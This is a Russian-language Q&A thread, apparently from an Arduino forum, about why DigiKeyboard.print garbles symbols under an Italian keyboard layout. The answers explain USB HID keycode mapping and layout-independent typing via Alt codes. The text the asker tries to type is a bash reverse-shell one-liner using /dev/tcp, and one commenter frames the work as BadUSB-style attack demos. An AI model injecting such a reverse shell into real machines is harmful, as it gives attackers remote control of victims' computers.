Почему DigiKeyboard.print и println меняют строку?

ЦЕЛЬ: я пытаюсь использовать библиотеку DigiKeyboard, но сталкиваюсь с проблемой при использовании print или println с символом, отличным от буквенно-цифрового.

ПРОБЛЕМА: я импортирую библиотеку, как я видел в других проектах:

#include "DigiKeyboard.h"

Затем я пытаюсь вывести эту строку "bash -i >& /dev/tcp/127.0.0.1/80 0>&1" с помощью print метод:

DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

Но вывод испорчен:

bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

Не могли бы вы объяснить, как я могу решить?

РЕШЕНИЕ: изменение раскладки клавиатуры на английский (США) решило мою проблему.

В любом случае, у меня все еще есть сомнения. Как заставить библиотеку работать и с другими макетами?

, 👍1

Обсуждение

Расскажите, пожалуйста, какой библиотекой вы пользуетесь и откуда вы ее взяли. Сообщите нам точный результат. Добавьте дополнительную информацию к вашему вопросу. Символы ascii преобразуются в коды сканирования клавиатуры? Возможно, это преобразование еще не завершено., @Jot

Какой язык используется для клавиатуры?, @Jot

Итальянский, но сейчас я пытаюсь изменить раскладку, @Maicake


3 ответа


Лучший ответ:

5

Проблема в раскладке клавиатуры.

Протокол USB HID изначально предназначался для включения в него информации о раскладке клавиатуры (выбор кода страны в дескрипторе), однако никто никогда не использовал его. Все клавиатуры имеют одинаковую раскладку, но производители просто печатают на клавишах разные буквы для разных стран. Операционная система должна сопоставить эти коды клавиш с фактическими символами, используя раскладку клавиатуры, выбранную в операционной системе. (Первоначально предполагаемый метод работы позволял клавиатурам выбирать свой собственный язык вместо того, чтобы иметь один глобальный язык в ОС, но люди предпочитают выбирать самый дешевый вариант...).

Arduino фактически представляет собой клавиатуру США. Буквы и цифры, которые вы «печатаете», сначала преобразуются в коды клавиатуры, как они будут отображаться на клавиатуре США. Затем эти коды клавиатуры преобразуются обратно в буквы и цифры с использованием итальянской раскладки клавиатуры, выбранной в операционной системе.

Вы получите тот же эффект, если купите клавиатуру для США и подключите ее к сети. Нажимая клавиши для символов, напечатанных на самих клавишах, вы получаете те же неправильные символы. Нажатие клавиш, которые вы привыкли нажимать, и игнорирование того, что напечатано на клавишах, даст вам правильные символы.

Итак, у вас есть несколько вариантов:

  1. Используйте американскую клавиатуру на своем компьютере глобально, что приведет к нарушению существующей раскладки клавиатуры или
  2. Измените ядро Arduino для сопоставления символов с использованием итальянской раскладки клавиатуры или
  3. Выясните, какие символы вы должны отправлять, чтобы получить правильные символы для вашей раскладки, и измените свой код, чтобы вместо этого отправлять эти символы.

Из трех вариантов я бы выбрал вариант 3. Вариант 1 будет слишком раздражающим, вариант 2 будет отменен при следующем обновлении ядра Arduino, и вы никогда не вспомните, что сделали. Так что потратьте некоторое время и определите, какие символы при их печати приводят к тому, какие символы печатаются.

,

1

Вы можете проверить мой форк библиотеки DigistumpArduino (https://github.com/rsrdesarrollo/DigistumpArduino) с полной клавиатурой поддержка макетов.

,

0

Здесь проблема заключается в раскладке клавиатуры. Чтобы сделать набросок, который будет работать независимо от раскладки клавиатуры, моя текущая стратегия заключается в использовании метода кода Alt+ASCII (нажмите и удерживайте ALT, затем введите код ASCII символа на цифровой клавиатуре, затем отпустите ALT). Я собираюсь реализовать это в ответвлении функции print/println DigiStumpArduino. Это будет стоить производительности (5 нажатий клавиш вместо 1-3), но должно быть полностью независимым от макета. Я обязательно сделаю код бесплатным, если/когда он заработает.

,

Разве этот метод ввода не специфичен для Windows? ОП, похоже, не использует Windows., @Edgar Bonet

Это в основном правильно, хорошо замечено! Однако на многих рабочих столах Linux будут работать Shift+Ctrl+U, затем код символа Unicode, а затем Enter. Я часто использую Linux, но большинство систем, для которых он мне нужен (для демонстрации кибератак), работают под управлением Windows. Спасибо, что указали на это - переход к методам Alt + Num удаляет зависимость от раскладки клавиатуры, но вмешивается в зависимость от ОС. Это может быть или не быть проблемой для многих вариантов использования, поскольку большинство эксплойтов уже зависят от ОС, но не обязательно знать или контролировать язык клавиатуры цели., @Kuddel Daddeldu